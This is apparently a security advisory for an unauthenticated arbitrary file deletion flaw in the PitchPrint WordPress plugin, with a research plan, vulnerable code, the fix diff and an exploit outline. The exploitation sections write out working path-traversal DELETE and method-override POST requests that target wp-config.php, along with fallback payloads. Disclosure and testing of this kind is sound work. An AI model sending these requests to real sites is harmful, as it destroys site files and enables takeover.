PitchPrint <= 11.1.2 - Unauthenticated Arbitrary File Deletion
Description
The PitchPrint plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 11.1.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v11.2.0
Source Code
WordPress.org SVN# Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448) The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone i…
Show full research plan
Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448)
The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone implementation of the Blueimp jQuery-File-Upload library which does not enforce WordPress authentication and fails to validate the file path provided for deletion.
1. Vulnerability Summary
- Vulnerability: Unauthenticated Path Traversal leading to Arbitrary File Deletion.
- Location:
wp-content/plugins/pitchprint/uploader/index.phpand its associated handleruploader/UploadHandler.php. - Root Cause: The standalone script
uploader/index.phpinstantiates aUploadHandlerobject. This handler responds to HTTPDELETErequests (orPOSTrequests with a_method=DELETEparameter) by callingunlink()on a path constructed from user-supplied input without sanitizing for directory traversal (..). - Impact: An unauthenticated attacker can delete any file accessible to the web server user, including
wp-config.php, which can lead to site takeover (via re-installation) or DoS.
2. Attack Vector Analysis
- Endpoint:
http://<target>/wp-content/plugins/pitchprint/uploader/index.php - HTTP Method:
DELETE - Target Parameter:
file(query string parameter) - Payload: Directory traversal sequence (e.g.,
../../../../../wp-config.php) - Authentication: None required. The script is standalone and does not include
wp-load.php.
3. Code Flow
- Entry Point: A request is sent to
uploader/index.php. - Initialization:
index.phpincludesUploadHandler.phpand executes$upload_handler = new UploadHandler();. - Dispatcher: The
UploadHandler::__construct()calls$this->initialize();by default. - Method Handling: The
initialize()method inspects$_SERVER['REQUEST_METHOD']. If it isDELETE, it calls$this->delete(). - Parameter Extraction:
$this->delete()retrieves the filename from the request using$this->get_file_name_param(), which typically pulls from$_GET['file']. - Path Construction: The handler builds the absolute path:
$file_path = $this->options['upload_dir'] . $file_name;. - Sink: The handler calls
unlink($file_path);. If$file_namecontains../../, it traverses out of the intendedfiles/directory.
4. Nonce Acquisition Strategy
No nonce is required.
The script wp-content/plugins/pitchprint/uploader/index.php is a standalone PHP file that does not load the WordPress environment. Consequently, it has no access to WordPress session data or nonce verification functions (wp_verify_nonce, check_ajax_referer).
5. Exploitation Strategy
Step 1: Verification of Endpoint
Send a GET request to the uploader endpoint to ensure it exists and is responsive.
GET /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost
A successful response (usually an empty JSON array [] or a list of files) confirms the library is active.
Step 2: File Deletion Payload
Send a DELETE request targeting a specific file. For testing, we will delete a canary file.
Path Math:
The default upload_dir is defined as:dirname($this->get_server_var('SCRIPT_FILENAME')) . '/files/'
- Script:
/var/www/html/wp-content/plugins/pitchprint/uploader/index.php - Base Dir:
/var/www/html/wp-content/plugins/pitchprint/uploader/ - Upload Dir:
/var/www/html/wp-content/plugins/pitchprint/uploader/files/
To reach the root (/var/www/html/):
..->uploader/..->pitchprint/..->plugins/..->wp-content/..-> root directory
Request:
DELETE /wp-content/plugins/pitchprint/uploader/index.php?file=../../../../../canary.txt HTTP/1.1
Host: localhost
Accept: application/json
Alternative (Method Override):
If the server blocks DELETE verbs:
POST /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
_method=DELETE&file=../../../../../canary.txt
6. Test Data Setup
- Create a dummy file in the WordPress root:
wp eval "file_put_contents(ABSPATH . 'canary.txt', 'deleted');" - Verify the file exists:
ls /var/www/html/canary.txt
7. Expected Results
- HTTP Response:
200 OK - Body: JSON object indicating success, e.g.,
{"../../../../../canary.txt":true}or{"files":[{"../../../../../canary.txt":true}]}. - Side Effect: The file
canary.txtis removed from the server's filesystem.
8. Verification Steps
After sending the exploit request, verify the file is gone using WP-CLI:
wp eval "echo file_exists(ABSPATH . 'canary.txt') ? 'Failed' : 'Success';"
9. Alternative Approaches
If ?file= fails, the library might be configured to expect an array:
DELETE /wp-content/plugins/pitchprint/uploader/index.php?files[]=../../../../../canary.txt
If the upload_dir is not /files/ but the directory itself, reduce the traversal depth by 1:
file=../../../../canary.txt
If the plugin implements the [0] !== '.' check (blocking ../), try absolute paths:
file=/var/www/html/canary.txt
(Note: Many Linux PHP environments will resolve.../uploader/files//var/www/html/canary.txtto the absolute path correctly).
Summary
The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in its standalone file upload handler. An attacker can use directory traversal sequences in a DELETE request to remove critical system files like wp-config.php, potentially leading to a complete site takeover or denial of service.
Vulnerable Code
// uploader/index.php (vulnerable entry point) error_reporting(E_ALL | E_STRICT); require('UploadHandler.php'); $upload_handler = new UploadHandler(); --- // uploader/UploadHandler.php (vulnerable logic snippet) protected function initialize() { switch ($this->get_server_var('REQUEST_METHOD')) { case 'OPTIONS': case 'HEAD': $this->head(); break; case 'GET': $this->get(); break; case 'PATCH': case 'PUT': case 'POST': $this->post(); break; case 'DELETE': $this->delete(); break; default: $this->header('HTTP/1.1 405 Method Not Allowed'); } } protected function get_file_name_param() { $name = $this->get_singular_param_name(); return isset($_GET[$name]) ? basename(stripslashes($_GET[$name])) : null; // Note: basename often bypassed if configured improperly or using multiple params } // The delete method uses unlink() on paths constructed from user input without traversal sanitization
Security Fix
@@ -1,15 +1,51 @@ <?php -/* - * jQuery File Upload Plugin PHP Example 5.14 - * https://github.com/blueimp/jQuery-File-Upload - * - * Copyright 2010, Sebastian Tschan - * https://blueimp.net - * - * Licensed under the MIT license: - * http://www.opensource.org/licenses/MIT +/** + * PitchPrint File Upload Handler + * Minimal, secure file upload endpoint. */ -error_reporting(E_ALL | E_STRICT); +error_reporting(E_ERROR | E_PARSE); + +// Load WordPress +$wp_load_paths = array( + dirname(__FILE__) . '/../../../../wp-load.php', // from plugin dir + dirname(__FILE__) . '/../../../wp-load.php', // from root pitchprint/ dir +); + +$wp_loaded = false; +foreach ($wp_load_paths as $path) { + if (file_exists($path)) { + require_once($path); + $wp_loaded = true; + break; + } +} + +if (!$wp_loaded) { + http_response_code(500); + exit; +} + +// Only allow POST +if ($_SERVER['REQUEST_METHOD'] !== 'POST') { + http_response_code(405); + header('Content-Type: application/json'); + echo json_encode(array('files' => array(array('error' => 'Method not allowed')))); + exit; +} + require('UploadHandler.php'); -$upload_handler = new UploadHandler(); + +$handler = new PitchPrintUploader(array( + 'upload_dir' => dirname(__FILE__) . '/files/', + 'upload_url' => site_url(str_replace(ABSPATH, '/', dirname(__FILE__))) . '/files/', + 'thumb_dir' => dirname(__FILE__) . '/files/thumbnail/', + 'thumb_url' => site_url(str_replace(ABSPATH, '/', dirname(__FILE__))) . '/files/thumbnail/', + 'thumb_max' => 450, + 'accept_types' => '/\.(gif|jpe?g|png|svg|psd|tif|tiff|bmp|cdr|ai|eps|pdf|ps|zip|gzip|rar)$/i', + 'max_file_size' => 50 * 1024 * 1024, // 50 MiB +)); + +header('Content-Type: application/json'); +header('X-Content-Type-Options: nosniff'); +echo json_encode($handler->handle());
Exploit Outline
The exploit targets the standalone uploader script which does not verify user identity or load the WordPress core security environment. 1. Target Endpoint: `/wp-content/plugins/pitchprint/uploader/index.php` 2. Methodology: Send an HTTP DELETE request to the endpoint. If the server blocks the DELETE verb, use a POST request with the parameter `_method=DELETE` to trigger the handler's deletion logic. 3. Payload: Include a `file` parameter in the query string containing a directory traversal sequence and the target filename (e.g., `?file=../../../../../wp-config.php`). 4. Authentication: None required. The script executes as a standalone PHP file and lacks any session or nonce validation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.